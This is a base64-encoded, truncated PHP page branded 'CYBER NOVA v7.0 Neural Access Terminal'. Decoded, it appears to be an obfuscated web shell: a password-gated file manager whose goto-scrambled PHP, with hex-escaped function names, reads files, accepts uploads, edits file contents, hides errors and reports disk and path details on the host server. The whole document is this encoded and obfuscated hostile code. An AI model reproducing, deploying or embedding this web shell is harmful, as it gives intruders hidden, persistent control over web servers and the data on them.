Ym94LXNoYWRvdzowIDEwcHggNDBweCByZ2JhKDAsMjM4LDI1NSwuNCl9LnRlcm1pbmFsLWZvb3RlcnttYXJnaW4tdG9wOjMwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LXNpemU6LjlyZW07b3BhY2l0eTouOH0uc2Nhbi1saW5le3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoOTBkZWcsdHJhbnNwYXJlbnQsdmFyKC0tbWF0cml4LWdyZWVuKSx0cmFuc3BhcmVudCk7YW5pbWF0aW9uOnNjYW4gMnMgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgc2NhbnswJXt0b3A6MH0xMDAle3RvcDoxMDAlfX0uZXJyb3ItZGlzcGxheXtiYWNrZ3JvdW5kOnJnYmEoMjU1LDAsMCwuMSk7Ym9yZGVyOjJweCBzb2xpZCByZWQ7Ym9yZGVyLXJhZGl1czoxMHB4O3BhZGRpbmc6MjBweDttYXJnaW4tYm90dG9tOjMwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkO2FuaW1hdGlvbjplcnJvclB1bHNlIDFzIGluZmluaXRlfUBrZXlmcmFtZXMgZXJyb3JQdWxzZXswJSwxMDAle2JveC1zaGFkb3c6MCAwIDIwcHggcmVkfTUwJXtib3gtc2hhZG93OjAgMCA0MHB4IHJlZH19PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0ibmV1cmFsLXRlcm1pbmFsIj48ZGl2IGNsYXNzPSJzY2FuLWxpbmUiPjwvZGl2PjxkaXYgY2xhc3M9InRlcm1pbmFsLWhlYWRlciI+PGgxIGNsYXNzPSJjeWJlci10aXRsZSI+Q1lCRVIgTk9WQTwvaDE+PGRpdiBjbGFzcz0idGVybWluYWwtc3VidGl0bGUiPk5FVVJBTCBBQ0NFU1MgVEVSTUlOQUw8L2Rpdj48L2Rpdj48P3BocCAgaWYgKGlzc2V0KCRfU0VTU0lPTlsiXHg2ZVwxNDVceDc1XDE2Mlx4NjFceDZjXDEzN1wxNDVcMTYyXDE2Mlx4NmZceDcyIl0pKSB7ICRjcnlwdCA9IG5ldyBOZXVyYWxDcnlwdCgpOyAkZXJyb3JNc2cgPSAkY3J5cHQtPm5ldXJhbERlY29kZSgkX1NFU1NJT05bIlwxNTZcMTQ1XDE2NVwxNjJcMTQxXDE1NFx4NWZceDY1XHg3Mlx4NzJceDZmXDE2MiJdKTsgdW5zZXQoJF9TRVNTSU9OWyJceDZlXHg2NVwxNjVcMTYyXDE0MVwxNTRceDVmXHg2NVwxNjJcMTYyXHg2Zlx4NzIiXSk7ID8+CjxkaXYgY2xhc3M9ImVycm9yLWRpc3BsYXkiPuKaoO+4jzw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yTXNnKTsgPz4KPC9kaXY+PD9waHAgIH0gPz4KPGZvcm0gbWV0aG9kPSJwb3N0ImNsYXNzPSJhY2Nlc3MtZm9ybSI+PGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPjxsYWJlbCBjbGFzcz0ibmV1cmFsLWxhYmVsIj5ORVVSQUwgQUNDRVNTIEtFWTwvbGFiZWw+IDxpbnB1dCBuYW1lPSJuZXVyYWxfa2V5ImNsYXNzPSJuZXVyYWwtaW5wdXQicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVOVEVSIE5FVVJBTCBDT0RFImF1dG9mb2N1cyB0eXBlPSJwYXNzd29yZCI+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iY3liZXItYnV0dG9uInR5cGU9InN1Ym1pdCI+8J+UkyBJTklUSUFURSBORVVSQUwgTElOSzwvYnV0dG9uPjwvZm9ybT48ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1mb290ZXIiPkNZQkVSIE5PVkEgdjcuMCAvLyBTRUNVUklUWTogTUFYSU1VTTwvZGl2PjwvZGl2PjxzY3JpcHQ+Ly8gQWRkIG1hdHJpeCByYWluIGVmZmVjdAogICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICBjb25zdCBjaGFycyA9ICIwMeOCouOCpOOCpuOCqOOCquOCq+OCreOCr+OCseOCs+OCteOCt+OCueOCu+OCveOCv+ODgeODhOODhuODiCI7CiAgICAgICAgICAgICAgICBjb25zdCBjYW52YXMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdjYW52YXMnKTsKICAgICAgICAgICAgICAgIGNvbnN0IGN0eCA9IGNhbnZhcy5nZXRDb250ZXh0KCcyZCcpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBjYW52YXMuc3R5bGUucG9zaXRpb24gPSAnZml4ZWQnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLnRvcCA9ICcwJzsKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS5sZWZ0ID0gJzAnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLndpZHRoID0gJzEwMCUnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLmhlaWdodCA9ICcxMDAlJzsKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS56SW5kZXggPSAnLTEnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLm9wYWNpdHkgPSAnMC4zJzsKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS5wb2ludGVyRXZlbnRzID0gJ25vbmUnOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGNhbnZhcyk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlc2l6ZSgpIHsKICAgICAgICAgICAgICAgICAgICBjYW52YXMud2lkdGggPSB3aW5kb3cuaW5uZXJXaWR0aDsKICAgICAgICAgICAgICAgICAgICBjYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgcmVzaXplKTsKICAgICAgICAgICAgICAgIHJlc2l6ZSgpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBjb25zdCBjb2x1bW5zID0gTWF0aC5mbG9vcihjYW52YXMud2lkdGggLyAyMCk7CiAgICAgICAgICAgICAgICBjb25zdCBkcm9wcyA9IFtdOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGNvbHVtbnM7IGkrKykgewogICAgICAgICAgICAgICAgICAgIGRyb3BzW2ldID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZnVuY3Rpb24gZHJhdygpIHsKICAgICAgICAgICAgICAgICAgICBjdHguZmlsbFN0eWxlID0gJ3JnYmEoMTAsIDEwLCAyNiwgMC4wNSknOwogICAgICAgICAgICAgICAgICAgIGN0eC5maWxsUmVjdCgwLCAwLCBjYW52YXMud2lkdGgsIGNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGN0eC5maWxsU3R5bGUgPSAnIzAwZWVmZic7CiAgICAgICAgICAgICAgICAgICAgY3R4LmZvbnQgPSAnMTVweCAiU2hhcmUgVGVjaCBNb25vIic7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCBkcm9wcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gY2hhcnNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogY2hhcnMubGVuZ3RoKV07CiAgICAgICAgICAgICAgICAgICAgICAgIGN0eC5maWxsVGV4dCh0ZXh0LCBpICogMjAsIGRyb3BzW2ldICogMjApOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRyb3BzW2ldICogMjAgPiBjYW52YXMuaGVpZ2h0ICYmIE1hdGgucmFuZG9tKCkgPiAwLjk3NSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZHJvcHNbaV0gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGRyb3BzW2ldKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBzZXRJbnRlcnZhbChkcmF3LCA1MCk7CiAgICAgICAgICAgIH0pOzwvc2NyaXB0PjwvYm9keT48L2h0bWw+PD9waHAgIGRpZTsgfSBnb3RvIFRKaFZwOyBwMUpsWTogZ290byBZZ1JfVjsgZ290byBsUDNjRDsgbTRPNHE6IGdvdG8gVDA2eU87IGdvdG8gRHBMZnM7IHNSSm1ZOiBnb3RvIFIyYzRLOyBnb3RvIFI0Q2Z4OyBzaFhtTDogZ290byBmR1ZLMDsgZ290byBEM1NlZzsgdkN6RW46IGdvdG8gYlp1ZGo7IGdvdG8gZ0lQUWs7IGoyczUxOiA/PgpNQjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InN0YXQtY2FyZCI+PGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+RElTSyBTUEFDRTwvZGl2PjxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwICBnb3RvIEd0cllNOyBuUWN5STogdG9neWM6IGdvdG8geW9EUTQ7IEVETlZMOiBnb3RvIFdCcDgxOyBnb3RvIFlPYUZaOyBHbTlSSjogJHBhcnRzID0gZXhwbG9kZSgiXDU3IiwgdHJpbSgkY3VycmVudE1hdHJpeCwgIlx4MmYiKSk7IGdvdG8gdEZsOXQ7IHFtT2FKOiBpZiAoJG5ldXJhbE1lc3NhZ2UpIHsgPz4KPGRpdiBjbGFzcz0ibmV1cmFsLW1lc3NhZ2UiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MnJlbSI+8J+Svjwvc3Bhbj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7Zm9udC1zaXplOjEuMnJlbSI+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbmV1cmFsTWVzc2FnZSk7ID8+CjwvZGl2PjwvZGl2Pjw/cGhwICB9IGdvdG8gWjBabjQ7IGZ2UlB1OiBnb3RvIGs5ZVZ5OyBnb3RvIElDQnI5OyBxMG9mQTogZ290byBtTDg4TzsgZ290byBiSmJpbDsgemtDSkw6IGVjaG8gcm91bmQoZGlza19mcmVlX3NwYWNlKCJceDJlIikgLyAxMDI0IC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIFVsZkVTOyB2eVgwNzogZ290byBGUHpnTDsgZ290byBRUTd5SjsgaEFMcjU6IGluaV9zZXQoIlwxNDRcMTUxXHg3M1wxNjBceDZjXDE0MVx4NzlcMTM3XHg2NVx4NzJceDcyXHg2Zlx4NzJcMTYzIiwgMCk7IGdvdG8gcTBvZkE7IENyMm9TOiBnb3RvIGN2d2pvOyBnb3RvIEpldFRyOyBqU3QxUjogZ290byBab1hfMjsgZ290byBiczlsUjsgQjNocXU6ICROX1JFQUQgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlx4NjZceDY5XDE1NFwxNDVceDVmXDE0N1x4NjVceDc0XHg1ZlwxNDNcMTU3XDE1Nlx4NzRceDY1XDE1NlwxNjRcMTYzIik7IGdvdG8gSTJnUnk7IEpFNTMzOiBnb3RvIExpeklROyBnb3RvIHkwRXVEOyBIQ1JQODogZ290byBHMWtfUDsgZ290byBnTkNVbDsgdFg5dEQ6IGVjaG8gZGF0ZSgiXHg0OFw3MlwxNTFcNzJceDczIik7IGdvdG8gUEhwRWs7IEQzU2VnOiBOanVkUjogZ290byBTZkxfNTsgYkpiaWw6IEcxa19QOiBnb3RvIFQ2eHhmOyBJclE4MDogUUdDdnE6IGdvdG8gcWVHREI7IHkwRXVEOiBiWnVkajogZ290byBuaUxybTsgeDRIeXk6IGVjaG8gJGN1cnJlbnRNYXRyaXg7IGdvdG8gcjJQa2g7IEZHX1BROiBnb3RvIHRvZ3ljOyBnb3RvIG9OV0t3OyBaS0N2QzogZ290byBYMzl6WjsgZ290byBBaEgyODsgeVRPTzM6ICROX1VQTE9BRCA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXDE1NVwxNTdcMTY2XHg2NVwxMzdceDc1XDE2MFwxNTRceDZmXHg2MVwxNDRcMTQ1XHg2NFwxMzdcMTQ2XHg2OVwxNTRceDY1Iik7IGdvdG8gSTRLbWo7IHFya3pHOiBnb3RvIEh4WlgyOyBnb3RvIEhJc2tmOyBmeFFrUzogZ290byBDSjF1ejsgZ290byBNMkJwMzsgSklpaFE6IGdvdG8gemFueDM7IGdvdG8gblFjeUk7IER6U2o4OiBlY2hvIHJhbmQoMSwgMTAwKTsgZ290byBBWEZjZTsgcUZ5TmM6IHphbngzOiBnb3RvIEFyd2pqOyBoSVJLZDogZ290byBrOHJxYjsgZ290byB0U0gzQzsgVTJEelE6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5DWUJFUiBOT1ZBIHY3LjA8L3RpdGxlPjxzdHlsZT5AaW1wb3J0IHVybChodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PU9yYml0cm9uOndnaHRANDAwOzcwMDs5MDAmZmFtaWx5PVNoYXJlK1RlY2grTW9ubyZmYW1pbHk9RXhvKzI6d2dodEAzMDA7NDAwOzYwMCZkaXNwbGF5PXN3YXApOzpyb290ey0tY3liZXItYmx1ZTojMDBlZWZmOy0tbWF0cml4LWdyZWVuOiMwMGZmNDE7LS1uZW9uLXB1cnBsZTojOWQwMGZmOy0tZGFyay1zcGFjZTojMGEwYTFhOy0tZGVlcC1zcGFjZTojMTUxNTMwOy0tY3liZXItZ2xvdzowIDAgMTBweDstLWN5YmVyLXJlZDojZmYwMDU1Oy0tY3liZXIteWVsbG93OiNmZmZmMDB9KnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fWJvZHl7Zm9udC1mYW1pbHk6J0V4byAyJyxzYW5zLXNlcmlmO2JhY2tncm91bmQ6dmFyKC0tZGFyay1zcGFjZSk7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWltYWdlOnJhZGlhbC1ncmFkaWVudChjaXJjbGUgYXQgMjAlIDMwJSxyZ2JhKDAsMjM4LDI1NSwuMDUpIDAsdHJhbnNwYXJlbnQgNDAlKSxyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDgwJSA3MCUscmdiYSgxNTcsMCwyNTUsLjA1KSAwLHRyYW5zcGFyZW50IDQwJSl9LmN5YmVyLWhlYWRlcntiYWNrZ3JvdW5kOnJnYmEoMjEsMjEsNDgsLjk1KTtib3JkZXItYm90dG9tOjNweCBzb2xpZCB2YXIoLS1jeWJlci1ibHVlKTtwYWRkaW5nOjI1cHggNDBweDtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyO2JveC1zaGFkb3c6MCAwIDQwcHggdmFyKC0tY3liZXItYmx1ZSk7cG9zaXRpb246c3RpY2t5O3RvcDowO3otaW5kZXg6MTAwMDtiYWNrZHJvcC1maWx0ZXI6Ymx1cigxMHB4KX0uaGVhZGVyLWxlZnR7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MjVweH0ubm92YS10aXRsZXtmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7Zm9udC1zaXplOjIuNXJlbTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1ibHVlKSx2YXIoLS1tYXRyaXgtZ3JlZW4pKTstd2Via2l0LWJhY2tncm91bmQtY2xpcDp0ZXh0O2JhY2tncm91bmQtY2xpcDp0ZXh0O2NvbG9yOnRyYW5zcGFyZW50O3RleHQtc2hhZG93OnZhcigtLWN5YmVyLWdsb3cpIHZhcigtLWN5YmVyLWJsdWUpO2xldHRlci1zcGFjaW5nOjJweH0uc2Vzc2lvbi1pbmZve2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjIwcHg7Zm9udC1mYW1pbHk6J1NoYXJlIFRlY2ggTW9ubycsbW9ub3NwYWNlfS5zdGF0dXMtYmFkZ2V7cGFkZGluZzo4cHggMjBweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1ibHVlKSx2YXIoLS1uZW9uLXB1cnBsZSkpO2JvcmRlci1yYWRpdXM6MjBweDtmb250LXNpemU6LjlyZW07Zm9udC13ZWlnaHQ6NzAwO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzoxcHh9LmxvZ291dC1idG57cGFkZGluZzoxMnB4IDMwcHg7YmFja2dyb3VuZDp2YXIoLS1jeWJlci1yZWQpO2JvcmRlcjpub25lO2JvcmRlci1yYWRpdXM6MTBweDtjb2xvcjojZmZmO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXdlaWdodDo3MDA7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjphbGwgLjNzO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzoxcHh9LmxvZ291dC1idG46aG92ZXJ7YmFja2dyb3VuZDojYzA0O3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0ycHgpO2JveC1zaGFkb3c6MCAwIDMwcHggdmFyKC0tY3liZXItcmVkKX0uY3liZXItY29udGFpbmVye21heC13aWR0aDoxNjAwcHg7bWFyZ2luOjMwcHggYXV0bztwYWRkaW5nOjAgMzBweH0ubmV1cmFsLW1lc3NhZ2V7YmFja2dyb3VuZDpyZ2JhKDAsMjU1LDY1LC4xKTtib3JkZXItbGVmdDo0cHggc29saWQgdmFyKC0tbWF0cml4LWdyZWVuKTtib3JkZXItcmFkaXVzOjEwcHg7cGFkZGluZzoyNXB4O21hcmdpbi1ib3R0b206MzBweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoyMHB4O2FuaW1hdGlvbjpwdWxzZUdsb3cgMnMgaW5maW5pdGV9QGtleWZyYW1lcyBwdWxzZUdsb3d7MCUsMTAwJXtib3gtc2hhZG93OjAgMCAyMHB4IHJnYmEoMCwyNTUsNjUsLjMpfTUwJXtib3gtc2hhZG93OjAgMCA0MHB4IHJnYmEoMCwyNTUsNjUsLjUpfX0ubWF0cml4LW5hdntiYWNrZ3JvdW5kOnJnYmEoNDIsNDIsODAsLjgpO2JvcmRlcjoycHggc29saWQgdmFyKC0tbmVvbi1wdXJwbGUpO2JvcmRlci1yYWRpdXM6MTVweDtwYWRkaW5nOjI1cHg7bWFyZ2luLWJvdHRvbTozMHB4O2ZvbnQtZmFtaWx5OidTaGFyZSBUZWNoIE1vbm8nLG1vbm9zcGFjZX0uY3liZXItYnJlYWRjcnVtYntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2ZsZXgtd3JhcDp3cmFwO2dhcDoxNXB4O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpfS5jeWJlci1icmVhZGNydW1iIGF7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjhweCAxNXB4O2JvcmRlci1yYWRpdXM6OHB4O3RyYW5zaXRpb246YWxsIC4zcztib3JkZXI6MXB4IHNvbGlkIHRyYW5zcGFyZW50fS5jeWJlci1icmVhZGNydW1iIGE6aG92ZXJ7Ym9yZGVyLWNvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2JhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpO2JveC1zaGFkb3c6MCAwIDE1cHggdmFyKC0tY3liZXItYmx1ZSl9LmN5YmVyLXRvb2xze2Rpc3BsYXk6Z3JpZDtncmlkLXRlbXBsYXRlLWNvbHVtbnM6cmVwZWF0KGF1dG8tZml0LG1pbm1heCgzNTBweCwxZnIpKTtnYXA6MzBweDttYXJnaW4tYm90dG9tOjQwcHh9LnRvb2wtY2FyZHtiYWNrZ3JvdW5kOnJnYmEoMjYsMjYsNDgsLjkpO2JvcmRlcjoycHggc29saWQgdmFyKC0tY3liZXItYmx1ZSk7Ym9yZGVyLXJhZGl1czoxNXB4O3BhZGRpbmc6MjVweDt0cmFuc2l0aW9uOmFsbCAuM3M7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6aGlkZGVufS50b29sLWNhcmQ6aG92ZXJ7Ym9yZGVyLWNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTVweCk7Ym94LXNoYWRvdzowIDEwcHggMzBweCB2YXIoLS1jeWJlci1ibHVlKX0udG9vbC1jYXJkOjpiZWZvcmV7Y29udGVudDonJztwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0OjA7cmlnaHQ6MDtib3R0b206MDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx0cmFuc3BhcmVudCxyZ2JhKDAsMjM4LDI1NSwuMDUpLHRyYW5zcGFyZW50KTt6LWluZGV4Oi0xfS50b29sLWhlYWRlcntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxNXB4O21hcmdpbi1ib3R0b206MjVweDtjb2xvcjp2YXIoLS1tYXRyaXgtZ3JlZW4pO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXNpemU6MS4zcmVtfS5mb3JtLWdyb3Vwe21hcmdpbi1ib3R0b206MjBweH0uY3liZXItbGFiZWx7ZGlzcGxheTpibG9jazttYXJnaW4tYm90dG9tOjEwcHg7Y29sb3I6dmFyKC0tY3liZXItYmx1ZSk7Zm9udC1zaXplOi45cmVtO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzoxcHh9LmN5YmVyLWlucHV0e3dpZHRoOjEwMCU7cGFkZGluZzoxNXB4O2JhY2tncm91bmQ6cmdiYSgxMCwxMCwyNiwuOCk7Ym9yZGVyOjJweCBzb2xpZCB2YXIoLS1uZW9uLXB1cnBsZSk7Ym9yZGVyLXJhZGl1czoxMHB4O2NvbG9yOiNmZmY7Zm9udC1mYW1pbHk6J1NoYXJlIFRlY2ggTW9ubycsbW9ub3NwYWNlO2ZvbnQtc2l6ZToxLjFyZW07dHJhbnNpdGlvbjphbGwgLjNzfS5jeWJlci1pbnB1dDpmb2N1c3tvdXRsaW5lOjA7Ym9yZGVyLWNvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2JveC1zaGFkb3c6MCAwIDIwcHggdmFyKC0tY3liZXItYmx1ZSl9LmN5YmVyLWJ0bntwYWRkaW5nOjE1cHggMjVweDtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2ZvbnQtd2VpZ2h0OjcwMDtjdXJzb3I6cG9pbnRlcjt0cmFuc2l0aW9uOmFsbCAuM3M7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2xldHRlci1zcGFjaW5nOjFweH0uY3liZXItYnRuLXByaW1hcnl7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpKTtjb2xvcjojZmZmfS5jeWJlci1idG4tcHJpbWFyeTpob3ZlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1tYXRyaXgtZ3JlZW4pLHZhcigtLWN5YmVyLWJsdWUpKTt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMnB4KTtib3gtc2hhZG93OjAgNXB4IDIwcHggdmFyKC0tY3liZXItYmx1ZSl9LmN5YmVyLWJ0bi1zdWNjZXNze2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDQ1ZGVnLHZhcigtLW1hdHJpeC1ncmVlbiksIzBjMCk7Y29sb3I6I2ZmZn0uY3liZXItYnRuLWRhbmdlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1yZWQpLCNmMzApO2NvbG9yOiNmZmZ9LmN5YmVyLWJ0bi13YXJuaW5ne2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDQ1ZGVnLHZhcigtLWN5YmVyLXllbGxvdyksI2ZhMCk7Y29sb3I6IzAwMH0uZGF0YS10YWJsZS1jb250YWluZXJ7YmFja2dyb3VuZDpyZ2JhKDI2LDI2LDQ4LC45KTtib3JkZXI6MnB4IHNvbGlkIHZhcigtLW1hdHJpeC1ncmVlbik7Ym9yZGVyLXJhZGl1czoxNXB4O292ZXJmbG93OmhpZGRlbjttYXJnaW4tYm90dG9tOjQwcHg7Ym94LXNoYWRvdzowIDAgMzBweCByZ2JhKDAsMjU1LDY1LC4zKX0uZGF0YS10YWJsZXt3aWR0aDoxMDAlO2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2V9LmRhdGEtdGFibGUgdGhlYWR7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcscmdiYSgwLDIzOCwyNTUsLjMpLHJnYmEoMCwyNTUsNjUsLjMpKX0uZGF0YS10YWJsZSB0aHtwYWRkaW5nOjIwcHg7dGV4dC1hbGlnbjpsZWZ0O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2ZvbnQtc2l6ZToxLjFyZW07dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2xldHRlci1zcGFjaW5nOjJweH0uZGF0YS10YWJsZSB0ZHtwYWRkaW5nOjE4cHggMjBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCByZ2JhKDAsMjM4LDI1NSwuMSl9LmRhdGEtdGFibGUgdGJvZHkgdHI6aG92ZXJ7YmFja2dyb3VuZDpyZ2JhKDAsMjM4LDI1NSwuMDUpfS5kYXRhLWljb257Zm9udC1zaXplOjEuNXJlbTttYXJnaW4tcmlnaHQ6MTVweH0uZGF0YS1hY3Rpb25ze2Rpc3BsYXk6ZmxleDtnYXA6MTBweH0uY3liZXItZWRpdG9ye2JhY2tncm91bmQ6cmdiYSgyNiwyNiw0OCwuOTUpO2JvcmRlcjozcHggc29saWQgdmFyKC0tY3liZXIteWVsbG93KTtib3JkZXItcmFkaXVzOjE1cHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi1ib3R0b206NDBweDtib3gtc2hhZG93OjAgMCA0MHB4IHJnYmEoMjU1LDI1NSwwLC4zKX0uZWRpdG9yLWhlYWRlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyxyZ2JhKDI1NSwyNTUsMCwuMikscmdiYSgwLDI1NSw2NSwuMikpO3BhZGRpbmc6MjBweCAzMHB4O2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjthbGlnbi1pdGVtczpjZW50ZXJ9LmVkaXRvci10aXRsZXtjb2xvcjp2YXIoLS1jeWJlci15ZWxsb3cpO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXNpemU6MS40cmVtfS5uZXVyYWwtY29udGVudHt3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NTAwcHg7cGFkZGluZzozMHB4O2JhY2tncm91bmQ6cmdiYSgxMCwxMCwyNiwuOSk7Ym9yZGVyOm5vbmU7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2U7Zm9udC1zaXplOjE2cHg7bGluZS1oZWlnaHQ6MS44O3Jlc2l6ZTp2ZXJ0aWNhbH0uY3liZXItZm9vdGVye2JhY2tncm91bmQ6cmdiYSgyMSwyMSw0OCwuOTUpO2JvcmRlci10b3A6MnB4IHNvbGlkIHZhcigtLW5lb24tcHVycGxlKTtwYWRkaW5nOjMwcHg7bWFyZ2luLXRvcDo1MHB4O2JvcmRlci1yYWRpdXM6MTVweCAxNXB4IDAgMDt0ZXh0LWFsaWduOmNlbnRlcn0uc3RhdHMtZ3JpZHtkaXNwbGF5OmdyaWQ7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOnJlcGVhdChhdXRvLWZpdCxtaW5tYXgoMjIwcHgsMWZyKSk7Z2FwOjI1cHg7bWFyZ2luLWJvdHRvbToyNXB4fS5zd